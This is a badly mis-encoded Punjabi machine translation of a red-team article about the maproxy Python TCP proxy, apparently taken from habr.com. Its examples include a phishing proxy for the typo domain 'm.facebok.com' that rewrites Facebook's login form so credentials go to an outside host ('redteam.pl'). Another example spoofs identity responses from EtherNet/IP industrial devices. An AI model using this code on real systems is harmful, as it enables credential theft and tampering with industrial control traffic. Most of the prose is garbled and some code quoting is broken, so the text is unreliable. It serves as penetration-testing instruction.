เจฒเฉเจ เจฆเจพ เจ
เจจเฉเจตเจพเจฆ เจเฉเจฐเจธ เจฆเฉ เจธเจผเฉเจฐเฉเจเจค เจฆเฉ เจชเฉเจฐเจต เจธเฉฐเจงเจฟเจ 'เจคเฉ เจคเจฟเจเจฐ เจเฉเจคเจพ เจเจฟเจ เจธเฉ
เจเจฌเจธเจเจฐเฉเจเจ
เจธเฉเจฐเฉฑเจเจฟเจ เจฎเฉเจฒเจพเจเจเจฃเจพเจ เจฆเฉเจเจ เจเจ เจเจฟเจธเจฎเจพเจ, เจจเจฟเจฏเจฎเจค เจชเฉเจฐเจตเฉเจธเจผ เจเฉเจธเจเจฟเฉฐเจ เจ เจคเฉ เจฐเฉเฉฑเจก เจเฉเจฎ เจเจชเจฐเฉเจธเจผเจจเจพเจ เจคเฉเจ เจฒเฉ เจเฉ เจนเฉเจเจฟเฉฐเจ IoT/ICS เจกเจฟเจตเจพเจเจธเจพเจ เจ เจคเฉ SCADA เจคเฉฑเจ, เจตเจฟเฉฑเจ เจฌเจพเจเจจเจฐเฉ เจจเฉเจเจตเจฐเจ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจจเจพเจฒ เจเฉฐเจฎ เจเจฐเจจเจพ เจธเจผเจพเจฎเจฒ เจนเฉ, เจฏเจพเจจเฉ เจเจฟ เจเจฒเจพเจเฉฐเจ เจ เจคเฉ เจเฉเจเฉ เจฆเฉ เจตเจฟเจเจเจพเจฐ เจจเฉเจเจตเจฐเจ เจกเฉเจเจพ เจจเฉเฉฐ เจฒเจพเจเจผเจฎเฉ เจคเฉเจฐ 'เจคเฉ เจฐเฉเจเจจเจพ เจ เจคเฉ เจธเฉเจงเจฃเจพ เจธเจผเจพเจฎเจฒ เจนเฉเฅค เจจเฉเฉฑเจเจตเจฐเจ เจเฉเจฐเฉเจซเจฟเจ เจจเฉเฉฐ เจธเฉเฉฐเจเจฃเจพ เจเฉเจ เจเจเจพ เจเฉฐเจฎ เจจเจนเฉเจ เจนเฉ เจเจฟเจเจเจเจฟ เจธเจพเจกเฉ เจเฉเจฒ Wireshark, Tcpdump เจเจพเจ Scapy เจตเจฐเจเฉ เจเฉเจฒ เจนเจจ, เจชเจฐ เจธเฉเจง เจเฉฑเจ เจเจผเจฟเจเจฆเจพ เจฎเจฟเจนเจจเจค เจตเจพเจฒเจพ เจเฉฐเจฎ เจเจพเจชเจฆเจพ เจนเฉ เจเจฟเจเจเจเจฟ เจธเจพเจกเฉ เจเฉเจฒ เจจเฉเฉฑเจเจตเจฐเจ เจกเฉเจเจพ เจจเฉเฉฐ เจชเฉเฉเจนเจจ, เจเจธเจจเฉเฉฐ เจซเจฟเจฒเจเจฐ เจเจฐเจจ, เจฌเจฆเจฒเจฃ เจฒเจ เจเจฟเจธเฉ เจเจฟเจธเจฎ เจฆเฉ เจเฉฐเจเจฐเจซเฉเจธ เจฆเฉ เจฒเฉเฉ เจชเจตเฉเจเฉเฅค เจเจธ เจจเฉเฉฐ เจเฉฑเจกเจฆเฉ เจนเฉเจ เจ เจคเฉ เจฒเจเจญเจ เจ เจธเจฒ เจธเจฎเฉเจ เจตเจฟเฉฑเจ เจเฉเจเฉ เจฆเฉ เจฎเฉเจเจผเจฌเจพเจจ เจจเฉเฉฐ เจตเจพเจชเจธ เจญเฉเจเฉเฅค เจเจธ เจคเฉเจ เจเจฒเจพเจตเจพ, เจเจน เจเจฆเจฐเจธเจผ เจนเฉเจตเฉเจเจพ เจเฉเจเจฐ เจ เจเจฟเจนเจพ เจเฉเจฒ เจธเจตเฉเจเจฒเจฟเจค เจคเฉเจฐ 'เจคเฉ เจเจ เจธเจฎเจพเจจเจพเจเจคเจฐ เจเจจเฉเจเจธเจผเจจเจพเจ เจจเจพเจฒ เจเฉฐเจฎ เจเจฐ เจธเจเจฆเจพ เจนเฉ เจ เจคเฉ เจธเจเฉเจฐเจฟเจชเจเจพเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจ เจจเฉเจเฉเจฒเจฟเจค เจนเฉ เจธเจเจฆเจพ เจนเฉเฅค
เจเฉฑเจ เจฆเจฟเจจ เจฎเฉเจจเฉเฉฐ เจเฉฑเจ เจธเฉฐเจฆ เจจเจพเจฎ เจฆเฉ เจเฉเจ เจเฉเจคเฉ
, เจฆเจธเจคเจพเจตเฉเจเจผเจพเจ เจจเฉ เจเจฒเจฆเฉ เจนเฉ เจฎเฉเจจเฉเฉฐ เจเจน เจธเจชเฉฑเจธเจผเจ เจเจฐ เจฆเจฟเฉฑเจคเจพ เจเจฟ maproxy
- เจฌเฉฑเจธ เจฎเฉเจจเฉเฉฐ เจเฉ เจเจพเจนเฉเจฆเจพ เจนเฉเฅค เจเจน เจเจพเจซเจผเฉ เจธเจงเจพเจฐเจจ, เจฌเจนเฉเจฎเฉเจเฉ เจ
เจคเฉ เจเจธเจพเจจเฉ เจจเจพเจฒ เจเฉเจเจซเจฟเจเจฐ เจเจฐเจจ เจฏเฉเจ TCP เจชเฉเจฐเฉเจเจธเฉ เจนเฉเฅค เจฎเฉเจ เจเจน เจฆเฉเจเจฃ เจฒเจ เจเจฟ เจเฉ เจเจน เจฌเจนเฉเจค เจธเจพเจฐเฉ เจธเจฎเจพเจจเจพเจเจคเจฐ เจเจจเฉเจเจธเจผเจจเจพเจ เจจเฉเฉฐ เจธเฉฐเจญเจพเจฒ เจธเจเจฆเจพ เจนเฉ, เจ
เจคเฉ เจเฉเจฒ เจจเฉ เจตเจงเฉเจ เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจเฉเจคเจพ เจนเฉ, เจเจน เจฆเฉเจเจฃ เจฒเจ เจเจฟ เจเฉ เจเจน เจฆเฉเจเจฃ เจฒเจ ICS เจกเจฟเจตเจพเจเจธเจพเจ (เจเฉ เจฌเจนเฉเจค เจธเจพเจฐเฉ เจชเฉเจเฉเจ เจคเจฟเจเจฐ เจเจฐเจฆเฉ เจนเจจ) เจธเจฎเฉเจค เจเจ เจเจพเจซเจผเฉ เจเฉเฉฐเจเจฒเจฆเจพเจฐ เจเจชเจฒเฉเจเฉเจธเจผเจจเจพเจ 'เจคเฉ เจเจธ เจเฉเจฒ เจฆเฉ เจเจพเจเจ เจเฉเจคเฉ เจนเฉเฅค
เจเจน เจฒเฉเจ เจคเฉเจนเจพเจจเฉเฉฐ เจซเจฒเจพเจ 'เจคเฉ เจจเฉเจเจตเจฐเจ เจกเฉเจเจพ เจฆเฉ เจชเฉเจฐเจเจฟเจฐเจฟเจ เจเจฐเจจ เจฒเจ เจชเฉเจธเจผ เจเจฐเฉเจเจพ maproxy
.
เจธเฉฐเจเฉเจช
เจเฉเจฒ maproxy
เจเฉเจฐเจจเจพเจกเฉ 'เจคเฉ เจ
เจงเจพเจฐเจค เจนเฉ, เจชเจพเจเจฅเจจ เจตเจฟเฉฑเจ เจเฉฑเจ เจชเฉเจฐเจธเจฟเฉฑเจง เจ
เจคเฉ เจชเจฐเจฟเจชเฉฑเจ เจ
เจธเจฟเฉฐเจเฉเจฐเฉเจจเจธ เจจเฉเจเจตเจฐเจเจฟเฉฐเจ เจซเจฐเฉเจฎเจตเจฐเจเฅค
เจเจฎ เจคเฉเจฐ 'เจคเฉ, เจเจน เจเจ เจฎเฉเจกเจพเจ เจตเจฟเฉฑเจ เจเฉฐเจฎ เจเจฐ เจธเจเจฆเจพ เจนเฉ:
TCP:TCP
- เจ เจฃเจเฉฐเจเฉเจฐเจฟเจชเจเจก TCP เจเจจเฉเจเจธเจผเจจ;TCP:SSL
ะธSSL:TCP
- เจเฉฑเจ เจคเจฐเจซเจพ เจเจจเจเฉเจฐเจฟเจชเจธเจผเจจ เจฆเฉ เจจเจพเจฒ;SSL:SSL
- เจฆเฉ-เจชเฉฑเจเฉ เจเจจเจเฉเจฐเจฟเจชเจธเจผเจจเฅค
เจเจน เจเฉฑเจ เจฒเจพเจเจฌเฉเจฐเฉเจฐเฉ เจฆเฉ เจฐเฉเจช เจตเจฟเฉฑเจ เจเจเจเจฆเจพ เจนเฉเฅค เจเฉฑเจ เจคเฉเจเจผ เจธเจผเฉเจฐเฉเจเจค เจฒเจ, เจคเฉเจธเฉเจ เจเจฆเจพเจนเจฐเจจ เจซเจพเจเจฒเจพเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐ เจธเจเจฆเฉ เจนเฉ เจเฉ เจฎเฉเฉฑเจ เจจเฉเฉฐ เจฆเจฐเจธเจพเจเจเจฆเฉเจเจ เจนเจจ
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
เจเฉเจธ 1 - เจธเจงเจพเจฐเจจ เจฆเฉ-เจฆเจฟเจธเจผเจพเจตเฉ เจชเฉเจฐเฉเจเจธเฉ
เจฆเฉ เจ
เจงเจพเจฐ เจคเฉ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
เจฎเฉเจฒ เจฐเฉเจช เจตเจฟเฉฑเจ ProxyServer()
เจฆเฉ เจเจฐเจเฉเจฎเฉเจเจเจพเจ เจฒเฉเจเจฆเจพ เจนเฉ - เจเฉเจจเฉเจเจธเจผเจจ เจเจฟเจเจพเจฃเจพ เจ
เจคเฉ เจจเจฟเจธเจผเจพเจจเจพ เจชเฉเจฐเจเฅค server.listen()
เจเฉฑเจ เจเจฐเจเฉเจฎเฉเจเจ เจฒเฉเจเจฆเจพ เจนเฉ - เจเจเจฃ เจตเจพเจฒเฉ เจเฉเจจเฉเจเจธเจผเจจ เจจเฉเฉฐ เจธเฉเจฃเจจ เจฒเจ เจชเฉเจฐเจเฅค
เจธเจเฉเจฐเจฟเจชเจ เจจเฉเฉฐ เจเจฒเจพเจเจฃเจพ:
# python tcp2tcp.py
เจเฉเจธเจ เจจเฉเฉฐ เจเจฒเจพเจเจฃ เจฒเจ, เจ
เจธเฉเจ เจเจชเจฃเฉ เจชเฉเจฐเฉเจเจธเฉ เจธเจเฉเจฐเจฟเจชเจ เจฆเฉเจเจฐเจพ เจเฉฑเจ เจธเจฅเจพเจจเจ SSH เจธเจฐเจตเจฐ เจจเจพเจฒ เจเฉเฉเจจ เจเจพ เจฐเจนเฉ เจนเจพเจ, เจเฉ เจเจธ 'เจคเฉ เจธเฉเจฃเจฆเจพ เจนเฉ 2222/tcp
เจชเฉเจฐเจ เจ
เจคเฉ เจเฉฑเจ เจฎเจฟเจเจฐเฉ เจชเฉเจฐเจ เจจเจพเจฒ เจเฉเฉเจฆเจพ เจนเฉ 22/tcp
SSH เจธเจฐเจตเจฐ:
เจธเฉเจเจเจค เจฌเฉเจจเจฐ เจคเฉเจนเจพเจจเฉเฉฐ เจธเฉเจเจฟเจค เจเจฐเจฆเจพ เจนเฉ เจเจฟ เจธเจพเจกเฉ เจเจฆเจพเจนเจฐเจจ เจธเจเฉเจฐเจฟเจชเจ เจจเฉ เจจเฉเฉฑเจเจตเจฐเจ เจเฉเจฐเฉเจซเจฟเจ เจจเฉเฉฐ เจธเจซเจฒเจคเจพเจชเฉเจฐเจตเจ เจชเฉเจฐเฉเจเจธเฉ เจเฉเจคเจพ เจนเฉเฅค
เจเฉเจธ 2 - เจกเจพเจเจพ เจธเฉเจง
เจเฉฑเจ เจนเฉเจฐ เจกเฉเจฎเฉ เจธเจเฉเจฐเจฟเจชเจ logging_proxy.py
เจจเฉเฉฑเจเจตเจฐเจ เจกเจพเจเจพ เจจเจพเจฒ เจเฉฐเจเจฐเฉเจเจ เจเจฐเจจ เจฒเจ เจเจฆเจฐเจธเจผ. เจซเจพเจเจฒ เจตเจฟเฉฑเจ เจเจฟเฉฑเจชเจฃเฉเจเจ เจเจนเจจเจพเจ เจเจฒเจพเจธ เจคเจฐเฉเจเจฟเจเจ เจฆเจพ เจตเจฐเจฃเจจ เจเจฐเจฆเฉเจเจ เจนเจจ เจเจฟเจนเจจเจพเจ เจจเฉเฉฐ เจคเฉเจธเฉเจ เจเจชเจฃเฉ เจเฉเจเฉ เจจเฉเฉฐ เจชเฉเจฐเจพเจชเจค เจเจฐเจจ เจฒเจ เจธเฉเจง เจธเจเจฆเฉ เจนเฉ:
เจธเจญ เจคเฉเจ เจฆเจฟเจฒเจเจธเจช เจเฉฑเจฒ เจเฉฑเจฅเฉ เจนเฉ:
on_c2p_done_read
- เจเจฒเจพเจเฉฐเจ เจคเฉเจ เจธเจฐเจตเจฐ เจคเฉฑเจ เจฆเฉ เจฐเจธเจคเฉ เจตเจฟเฉฑเจ เจกเฉเจเจพ เจจเฉเฉฐ เจฐเฉเจเจฃ เจฒเจ;on_p2s_done_read
- เจเจฒเจเจพ.
เจเจ SSH เจฌเฉเจจเจฐ เจจเฉเฉฐ เจฌเจฆเจฒเจฃ เจฆเฉ เจเฉเจธเจผเจฟเจธเจผ เจเจฐเฉเจ เจเฉ เจธเจฐเจตเจฐ เจเจฒเจพเจเฉฐเจ เจจเฉเฉฐ เจตเจพเจชเจธ เจเจฐเจฆเจพ เจนเฉ:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
เจธเจเฉเจฐเจฟเจชเจ เจเจฒเจพเจ:
เจเจฟเจตเฉเจ เจเจฟ เจคเฉเจธเฉเจ เจตเฉเจ เจธเจเจฆเฉ เจนเฉ, เจเจฒเจพเจเฉฐเจ เจจเฉเฉฐ เจเฉเฉฐเจฎเจฐเจพเจน เจเฉเจคเจพ เจเจฟเจ เจธเฉ เจเจฟเจเจเจเจฟ เจเจธเจฆเฉ เจฒเจ SSH เจธเจฐเจตเจฐ เจฆเจพ เจจเจพเจฎ เจฌเจฆเจฒเจฟเจ เจเจฟเจ เจธเฉ ยซDumnySSHยป
.
เจเฉเจธ 3 - เจธเจงเจพเจฐเจจ เจซเจฟเจธเจผเจฟเฉฐเจ เจตเฉเฉฑเจฌ เจชเฉฐเจจเจพ
เจเจธ เจธเจพเจงเจจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจจ เจฆเฉ เจฌเฉเจ
เฉฐเจค เจคเจฐเฉเจเฉ เจนเจจ. เจเจธ เจตเจพเจฐ เจเจ เจฐเฉเฉฑเจก เจเฉเจฎ เจเจชเจฐเฉเจธเจผเจจ เจตเจพเจฒเฉ เจชเจพเจธเฉ เจคเฉเจ เจเฉเจ เจนเฉเจฐ เจตเจฟเจนเจพเจฐเจ 'เจคเฉ เจงเจฟเจเจจ เจเฉเจเจฆเจฐเจฟเจค เจเจฐเฉเจเฅค เจเจ เจฒเฉเจเจกเจฟเฉฐเจ เจชเฉฐเจจเฉ เจฆเฉ เจจเจเจฒ เจเจฐเฉเจ m.facebook.com
เจ
เจคเฉ เจเจพเจฃเจฌเฉเฉฑเจ เจเฉ เจเจพเจเจชเฉ เจฆเฉ เจจเจพเจฒ เจเฉฑเจ เจเจธเจเจฎ เจกเฉเจฎเฉเจจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเฉ, เจเจฆเจพเจนเจฐเจจ เจฒเจ, m.facebok.com
. เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจฆเฉ เจเจฆเฉเจธเจผเจพเจ เจฒเจ, เจเจ เจเจน เจฎเฉฐเจจ เจฒเจเจ เจเจฟ เจกเฉเจฎเฉเจจ เจธเจพเจกเฉ เจฆเฉเจเจฐเจพ เจฐเจเจฟเจธเจเจฐ เจเฉเจคเจพ เจเจฟเจ เจนเฉเฅค
เจ
เจธเฉเจ เจเจชเจฃเฉ เจชเฉเฉเจคเจพเจ เจฆเฉ เจชเฉเจฐเฉเจเจธเฉ เจ
เจคเฉ เจซเฉเจธเจฌเฉเฉฑเจ เจธเจฐเจตเจฐ (31.13.81.36
). เจเจธ เจเจฆเจพเจนเจฐเจจ เจจเฉเฉฐ เจเฉฐเจฎ เจเจฐเจจ เจฒเจ, เจธเจพเจจเฉเฉฐ HTTP เจนเฉเจธเจ เจธเจฟเจฐเจฒเฉเจ เจจเฉเฉฐ เจฌเจฆเจฒเจฃ เจ
เจคเฉ เจธเจนเฉ เจนเฉเจธเจเจจเจพเจฎ เจจเฉเฉฐ เจเฉฐเจเฉเจเจ เจเจฐเจจ เจฆเฉ เจฒเฉเฉ เจนเฉ, เจ
เจคเฉ เจ
เจธเฉเจ เจเจตเจพเจฌ เจธเฉฐเจเฉเจเจจ เจจเฉเฉฐ เจตเฉ เจ
เจธเจฎเจฐเฉฑเจฅ เจฌเจฃเจพเจตเจพเจเจเฉ เจคเจพเจ เจเฉ เจ
เจธเฉเจ เจธเจฎเฉฑเจเจฐเฉ เจจเฉเฉฐ เจเจธเจพเจจเฉ เจจเจพเจฒ เจเจเจธเฉเจธ เจเจฐ เจธเจเฉเจเฅค เจ
เฉฐเจค เจตเจฟเฉฑเจ เจ
เจธเฉเจ HTML เจซเจพเจฐเจฎ เจจเฉเฉฐ เจฌเจฆเจฒ เจฆเฉเจตเจพเจเจเฉ เจคเจพเจ เจเฉ เจฒเฉเจเจเจจ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐ Facebook เจฆเฉ เจธเจฐเจตเจฐเจพเจ เจฆเฉ เจฌเจเจพเจ เจธเจพเจจเฉเฉฐ เจญเฉเจเฉ เจเจพเจฃ:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/pa/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
เจธเฉฐเจเฉเจช เจตเจฟเฉฑเจ:
เจเจฟเจตเฉเจ เจเจฟ เจคเฉเจธเฉเจ เจฆเฉเจ เจธเจเจฆเฉ เจนเฉ, เจ
เจธเฉเจ เจธเจซเจฒเจคเจพเจชเฉเจฐเจตเจ เจ
เจธเจฒเฉ เจธเจพเจเจ เจจเฉเฉฐ เจฌเจฆเจฒเจฃ เจฆเฉ เจฏเฉเจ เจธเฉเฅค
เจเฉเจธ 4 - เจชเฉเจฐเจเจฟเฉฐเจ เจเจฅเจฐเจจเฉเฉฑเจ/IP
เจฎเฉเจ เจเจพเจซเจผเฉ เจธเจฎเฉเจ เจคเฉเจ เจเจฆเจฏเฉเจเจฟเจ เจเจชเจเจฐเจจเจพเจ เจ เจคเฉ เจธเฉเจซเจเจตเฉเจ เจฐ (ICS/SCADA) เจจเจพเจฒ เจเฉฐเจฎ เจเจฐ เจฐเจฟเจนเจพ เจนเจพเจ, เจเจฟเจตเฉเจ เจเจฟ เจชเฉเจฐเฉเจเจฐเจพเจฎเฉเจฌเจฒ เจเฉฐเจเจฐเฉเจฒเจฐ (PLC), I/O เจฎเฉเจกเฉเจเจฒ, เจกเจฐเจพเจเจต, เจฐเฉเจฒเฉเจ , เจชเฉเฉเฉ เจชเฉเจฐเฉเจเจฐเจพเจฎเจฟเฉฐเจ เจตเจพเจคเจพเจตเจฐเจฃ เจ เจคเฉ เจนเฉเจฐ เจฌเจนเฉเจค เจธเจพเจฐเฉเฅค เจเจน เจเฉเจธ เจเจจเฉเจนเจพเจ เจฒเจ เจนเฉ เจเฉ เจเจฆเจฏเฉเจเจฟเจ เจเฉเจเจผเจพเจ เจจเฉเฉฐ เจชเจธเฉฐเจฆ เจเจฐเจฆเฉ เจนเจจ. เจ เจเจฟเจนเฉ เจนเฉฑเจฒเจพเจ เจจเฉเฉฐ เจนเฉเจ เจเจฐเจจ เจตเจฟเฉฑเจ เจจเฉเฉฑเจเจตเจฐเจ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจจเจพเจฒ เจธเจฐเจเจฐเจฎเฉ เจจเจพเจฒ เจเฉเจกเจฃเจพ เจธเจผเจพเจฎเจฒ เจนเฉเฉฐเจฆเจพ เจนเฉเฅค เจนเฉเจ เจพเจ เจฆเจฟเฉฑเจคเฉ เจเจฆเจพเจนเจฐเจจ เจตเจฟเฉฑเจ, เจฎเฉเจ เจเจน เจฆเจฟเจเจพเจเจฃเจพ เจเจพเจนเจพเจเจเจพ เจเจฟ เจคเฉเจธเฉเจ ICS/SCADA เจจเฉเฉฑเจเจตเจฐเจ เจเฉเจฐเฉเจซเจฟเจ เจจเฉเฉฐ เจเจฟเจตเฉเจ เจธเฉเจง เจธเจเจฆเฉ เจนเฉเฅค
เจเจธเจฆเฉ เจฒเจ เจคเฉเจนเจพเจจเฉเฉฐ เจนเฉเจ เจฒเจฟเจเจฟเจเจ เจฆเฉ เจฒเฉเฉ เจนเฉเจตเฉเจเฉ:
- เจจเฉเฉฑเจเจตเจฐเจ เจธเฉเฉฐเจเจฃ เจตเจพเจฒเจพ, เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจตเจพเจเจฐเจธเจผเจพเจฐเจ;
- เจเจฅเจฐเจจเฉเฉฑเจ/เจเจเจชเฉ เจเจพเจ เจธเจฟเจฐเจซเจผ เจเฉฑเจ SIP เจกเจฟเจตเจพเจเจธ, เจคเฉเจธเฉเจ เจเจธเจจเฉเฉฐ เจธเจผเฉเจกเจจ เจธเฉเจตเจพ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจฒเฉฑเจญ เจธเจเจฆเฉ เจนเฉ;
- เจธเจพเจกเฉ เจธเจเฉเจฐเจฟเจชเจ 'เจคเฉ เจเจงเจพเจฐเจฟเจค เจนเฉ
maproxy
.
เจชเจนเจฟเจฒเจพเจ, เจเจ เจฆเฉเจเฉเจ เจเจฟ เจธเฉเจเจเจชเฉ (เจเจพเจฎเจจ เจเฉฐเจกเจธเจเจฐเฉเจ เจฒ เจชเฉเจฐเฉเจเฉเจเฉเจฒ) เจคเฉเจ เจเฉฑเจ เจเจฎ เจชเจเจพเจฃ เจเจตเจพเจฌ เจเจฟเจนเฉ เจเจฟเจนเจพ เจฆเจฟเจเจพเจ เจฆเจฟเฉฐเจฆเจพ เจนเฉ:
เจกเจฟเจตเจพเจเจธ เจฆเฉ เจชเจเจพเจฃ เจเจฅเจฐเจจเฉเฉฑเจ/เจเจเจชเฉ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจชเฉเจฐเฉ เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเฉ, เจเฉ เจเจฟ เจเจฆเจฏเฉเจเจฟเจ เจเจฅเจฐเจจเฉเฉฑเจ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจฆเจพ เจเฉฑเจ เจตเจฟเจธเจคเฉเจฐเจฟเจค เจธเฉฐเจธเจเจฐเจฃ เจนเฉ เจเฉ เจธเฉเจเจเจชเฉ เจตเจฐเจเฉ เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจชเฉเจฐเฉเจเฉเจเฉเจฒ เจจเฉเฉฐ เจฒเจชเฉเจเจฆเจพ เจนเฉเฅค เจ
เจธเฉเจ เจนเจพเจเจฒเจพเจเจ เจเฉเจคเฉ เจเจเจกเฉ เจจเจพเจฎ เจจเฉเฉฐ เจฌเจฆเจฒเจฃ เจเจพ เจฐเจนเฉ เจนเจพเจ เจเฉ เจธเจเฉเจฐเฉเจจเจธเจผเฉเจ เจตเจฟเฉฑเจ เจฆเจฟเจเจพเจ เจฆเจฟเฉฐเจฆเจพ เจนเฉ "เจเจฅเจฐเจจเฉเฉฑเจ เจฒเจ NI-IndComm" เจธเจพเจกเฉ เจชเฉเจฐเฉเจเจธเฉ เจธเจเฉเจฐเจฟเจชเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเฉเจเฅค เจ
เจธเฉเจ เจธเจเฉเจฐเจฟเจชเจ เจฆเฉ เจฎเฉเฉ เจตเจฐเจคเฉเจ เจเจฐ เจธเจเจฆเฉ เจนเจพเจ logging_proxy.py
เจ
เจคเฉ เจเจธเฉ เจคเจฐเฉเจนเจพเจ เจเจฒเจพเจธ เจตเจฟเจงเฉ เจจเฉเฉฐ เจธเฉเจงเฉ on_p2s_done_read
, เจเจฟเจเจเจเจฟ เจ
เจธเฉเจ เจเจพเจนเฉเฉฐเจฆเฉ เจนเจพเจ เจเจฟ เจเจฒเจพเจเฉฐเจ 'เจคเฉ เจเฉฑเจ เจตเฉฑเจเจฐเจพ เจชเจเจพเจฃ เจจเจพเจฎ เจฆเจฟเจเจพเจ เจฆเฉเจตเฉเฅค
เจเฉเจก:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
เจเจผเจฐเฉเจฐเฉ เจคเฉเจฐ 'เจคเฉ, เจ เจธเฉเจ เจฆเฉ เจตเจพเจฐ เจกเจฟเจตเจพเจเจธ เจฆเฉ เจชเจเจพเจฃ เจฒเจ เจเจฟเจนเจพ, เจฆเฉเจเจพ เจเจตเจพเจฌ เจ เจธเจฒเฉ เจธเฉ, เจ เจคเฉ เจชเจนเจฟเจฒเฉ เจจเฉเฉฐ เจซเจฒเจพเจ 'เจคเฉ เจธเฉเจงเจฟเจ เจเจฟเจ เจธเฉเฅค
เจ เจคเฉ เจเจเจฐเฉ
เจฎเฉเจฐเฉ เจตเจฟเจเจพเจฐ เจ
เจจเฉเจธเจพเจฐ maproxy
เจเฉฑเจ เจธเฉเจตเจฟเจงเจพเจเจจเจ เจ
เจคเฉ เจธเจงเจพเจฐเจจ เจเฉเจฒ, เจเฉ เจเจฟ เจชเจพเจเจฅเจจ เจตเจฟเฉฑเจ เจตเฉ เจฒเจฟเจเจฟเจ เจเจฟเจ เจนเฉ, เจเจธ เจฒเจ เจฎเฉเจฐเจพ เจฎเฉฐเจจเจฃเจพ เจนเฉ เจเจฟ เจคเฉเจธเฉเจ เจตเฉ เจเจธเจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจฒเจพเจญ เจเจ เจพ เจธเจเจฆเฉ เจนเฉเฅค เจฌเฉเจธเจผเฉฑเจ, เจจเฉเฉฑเจเจตเจฐเจ เจกเฉเจเจพ เจจเฉเฉฐ เจชเฉเจฐเฉเจธเฉเจธ เจเจฐเจจ เจ
เจคเฉ เจธเฉฐเจธเจผเฉเจงเจฟเจค เจเจฐเจจ เจฒเจ เจตเจงเฉเจฐเฉ เจเฉเฉฐเจเจฒเจฆเจพเจฐ เจเฉเจฒ เจนเจจ, เจชเจฐ เจเจนเจจเจพเจ เจจเฉเฉฐ เจตเฉ เจตเจงเฉเจฐเฉ เจงเจฟเจเจจ เจฆเฉเจฃ เจฆเฉ เจฒเฉเฉ เจนเฉเฉฐเจฆเฉ เจนเฉ เจ
เจคเฉ เจเจฎ เจคเฉเจฐ 'เจคเฉ เจเจฟเจธเฉ เจเจพเจธ เจตเจฐเจคเฉเจ เจฆเฉ เจเฉเจธ เจฒเจ เจฌเจฃเจพเจ เจเจพเจเจฆเฉ เจนเจจ, เจเจฆเจพเจนเจฐเจจ เจฒเจ. maproxy
เจคเฉเจธเฉเจ เจจเฉเฉฑเจเจตเจฐเจ เจกเฉเจเจพ เจจเฉเฉฐ เจฐเฉเจเจฃ เจฒเจ เจเจชเจฃเฉ เจตเจฟเจเจพเจฐเจพเจ เจจเฉเฉฐ เจคเฉเจเจผเฉ เจจเจพเจฒ เจฒเจพเจเฉ เจเจฐ เจธเจเจฆเฉ เจนเฉ, เจเจฟเจเจเจเจฟ เจเจฆเจพเจนเจฐเจจ เจธเจเฉเจฐเจฟเจชเจเจพเจ เจฌเจนเฉเจค เจธเจชเฉฑเจธเจผเจ เจนเจจเฅค
เจธเจฐเฉเจค: www.habr.com